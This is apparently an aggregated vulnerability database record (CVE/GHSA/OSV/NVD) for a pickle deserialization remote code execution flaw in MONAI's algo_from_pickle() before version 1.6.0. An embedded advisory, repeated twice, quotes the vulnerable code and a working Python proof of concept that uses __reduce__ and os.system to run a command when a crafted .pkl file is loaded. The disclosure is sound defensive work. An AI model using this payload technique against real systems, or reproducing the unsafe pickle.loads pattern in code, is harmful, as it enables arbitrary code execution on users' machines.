{"id":"CVE-2026-100843","aliases":["EUVD-2026-87845","GHSA-m8hq-fmc4-c3v2","GHSA-qxq5-qhx6-94qw","PYSEC-2026-4018"],"status":"published","title":"MONAI before 1.6.0 Remote Code Execution via algo_from_pickle","description":"MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.","severity":{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00305,"percentile":0.23645,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2026-08-18T20:22:30Z","modified":"2026-10-28T02:30:37Z","fixes":[{"ecosystem":"PyPI","package":"monai","fixed_in":["1.6.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"monai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"monai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}],"versions":["0.0.1","0.1.0","0.2.0","0.3.0","0.4.0","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.0.1","1.1.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.2rc1","1.3.3rc1","1.4.0","1.4.0rc1","1.4.0rc10","1.4.0rc11","1.4.0rc12","1.4.0rc2","1.4.0rc3","1.4.0rc4","1.4.0rc5","1.4.0rc6","1.4.0rc7","1.4.0rc8","1.4.0rc9","1.4.1rc1","1.5.0","1.5.0rc1","1.5.1","1.5.2","1.5.2rc1"]},{"source":"osv","ecosystem":"PyPI","package":"monai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}],"versions":["0.0.1","0.1.0","0.2.0","0.3.0","0.4.0","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.0.1","1.1.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.2rc1","1.3.3rc1","1.4.0","1.4.0rc1","1.4.0rc10","1.4.0rc11","1.4.0rc12","1.4.0rc2","1.4.0rc3","1.4.0rc4","1.4.0rc5","1.4.0rc6","1.4.0rc7","1.4.0rc8","1.4.0rc9","1.4.1rc1","1.5.0","1.5.0rc1","1.5.1","1.5.2","1.5.2rc1"]}],"products":[{"vendor":"project-monai","product":"monai"}],"references":[{"url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://www.vulncheck.com/advisories/monai-before-1.6.0-remote-code-execution-via-algo-from-pickle","tags":["third-party-advisory","Third Party Advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100843","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-m8hq-fmc4-c3v2"},{"url":"https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-89gg-p5r5-q6r4","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qxq5-qhx6-94qw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100843.json","tags":["advisory"]},{"url":"https://github.com/Project-MONAI/MONAI","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-100843","title":"MONAI before 1.6.0 Remote Code Execution via algo_from_pickle","description":"MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.","status":"published","published":"2026-09-27T01:28:38.803Z","modified":"2026-09-30T15:17:39.08Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:20:06.925367Z"}],"euvd":[{"id":"EUVD-2026-87845","description":"MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.","status":"published","published":"2026-09-27T01:28:38Z","modified":"2026-09-30T15:17:39Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:49.016334Z"}],"ghsa":[{"id":"GHSA-m8hq-fmc4-c3v2","title":"MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle...","description":"MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.","status":"published","published":"2026-09-27T03:31:04Z","modified":"2026-09-27T03:31:13Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:12:30.689958Z"},{"id":"GHSA-qxq5-qhx6-94qw","title":"Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming      patch","description":"## Summary\n\n  GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n  `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n  has not been modified since 2024-07-12 — 18 months before v1.5.2 was released\n  (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n  never implemented.\n\n  ## Vulnerable Code\n\n  File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n  ```python\n  def algo_from_pickle(pkl_filename: str, ...):\n      with open(pkl_filename, \"rb\") as f_pi:\n          data_bytes = f_pi.read()\n      data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here\n\n      # isinstance/key checks happen AFTER deserialization — already too late\n\n      algo_bytes = data.pop(\"algo_bytes\")\n      ...\n      if len(template_paths_candidates) == 0:\n          algo = pickle.loads(algo_bytes)      # SINK 2 — line 350\n      else:\n          for p in template_paths_candidates:\n              algo = pickle.loads(algo_bytes)  # SINK 3 — line 356\n\n  No Unpickler subclass, no find_class restriction, no allowlist.\n\n  Why the Fix is Incomplete\n\n  - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n  - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes\n  - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n  - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n  PoC\n\n  import pickle, os\n\n  class Exploit:\n      def __reduce__(self):\n          return (os.system, ('id \u003e /tmp/rce_proof.txt',))\n\n  # Craft malicious pkl\n  data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n  with open(\"/tmp/evil.pkl\", \"wb\") as f:\n      f.write(pickle.dumps(data))\n\n  # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim\n  with open(\"/tmp/evil.pkl\", \"rb\") as f:\n      data = pickle.loads(f.read())        # SINK 1 fires — RCE here\n  algo = pickle.loads(data[\"algo_bytes\"])  # SINK 2 fires\n\n  print(open(\"/tmp/rce_proof.txt\").read())\n  # uid=1000(user) gid=1000(user) groups=...\n\n  Verified on monai v1.5.2 (utils.py verbatim source):\n  [+] RCE CONFIRMED via algo_from_pickle():\n      desktop-5657tb1\\woong\n\n  Impact\n\n  Any application or ML pipeline calling algo_from_pickle() with an\n  attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n  frequently exchange model checkpoints, making this a realistic attack vector.","status":"published","published":"2026-08-18T20:22:30Z","modified":"2026-08-18T20:22:32Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:41:03.602876Z"}],"nvd":[{"id":"CVE-2026-100843","description":"MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.","status":"published","published":"2026-09-27T02:17:22.853Z","modified":"2026-09-30T16:17:02.217Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:12:52.081323Z"}],"osv":[{"id":"CVE-2026-100843","title":"MONAI before 1.6.0 Remote Code Execution via algo_from_pickle","description":"MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.","status":"published","published":"2026-09-27T01:28:38.803Z","modified":"2026-10-28T02:30:37.650952998Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"GHSA-qxq5-qhx6-94qw","title":"Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming      patch","description":"## Summary\n\n  GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n  `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n  has not been modified since 2024-07-12 — 18 months before v1.5.2 was released\n  (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n  never implemented.\n\n  ## Vulnerable Code\n\n  File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n  ```python\n  def algo_from_pickle(pkl_filename: str, ...):\n      with open(pkl_filename, \"rb\") as f_pi:\n          data_bytes = f_pi.read()\n      data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here\n\n      # isinstance/key checks happen AFTER deserialization — already too late\n\n      algo_bytes = data.pop(\"algo_bytes\")\n      ...\n      if len(template_paths_candidates) == 0:\n          algo = pickle.loads(algo_bytes)      # SINK 2 — line 350\n      else:\n          for p in template_paths_candidates:\n              algo = pickle.loads(algo_bytes)  # SINK 3 — line 356\n\n  No Unpickler subclass, no find_class restriction, no allowlist.\n\n  Why the Fix is Incomplete\n\n  - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n  - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes\n  - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n  - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n  PoC\n\n  import pickle, os\n\n  class Exploit:\n      def __reduce__(self):\n          return (os.system, ('id \u003e /tmp/rce_proof.txt',))\n\n  # Craft malicious pkl\n  data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n  with open(\"/tmp/evil.pkl\", \"wb\") as f:\n      f.write(pickle.dumps(data))\n\n  # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim\n  with open(\"/tmp/evil.pkl\", \"rb\") as f:\n      data = pickle.loads(f.read())        # SINK 1 fires — RCE here\n  algo = pickle.loads(data[\"algo_bytes\"])  # SINK 2 fires\n\n  print(open(\"/tmp/rce_proof.txt\").read())\n  # uid=1000(user) gid=1000(user) groups=...\n\n  Verified on monai v1.5.2 (utils.py verbatim source):\n  [+] RCE CONFIRMED via algo_from_pickle():\n      desktop-5657tb1\\woong\n\n  Impact\n\n  Any application or ML pipeline calling algo_from_pickle() with an\n  attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n  frequently exchange model checkpoints, making this a realistic attack vector.","status":"published","published":"2026-08-18T20:22:30Z","modified":"2026-10-01T09:25:41.47851248Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"PYSEC-2026-4018","description":"MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.","status":"published","published":"2026-09-27T02:17:22.853Z","modified":"2026-10-01T09:15:05.39213232Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}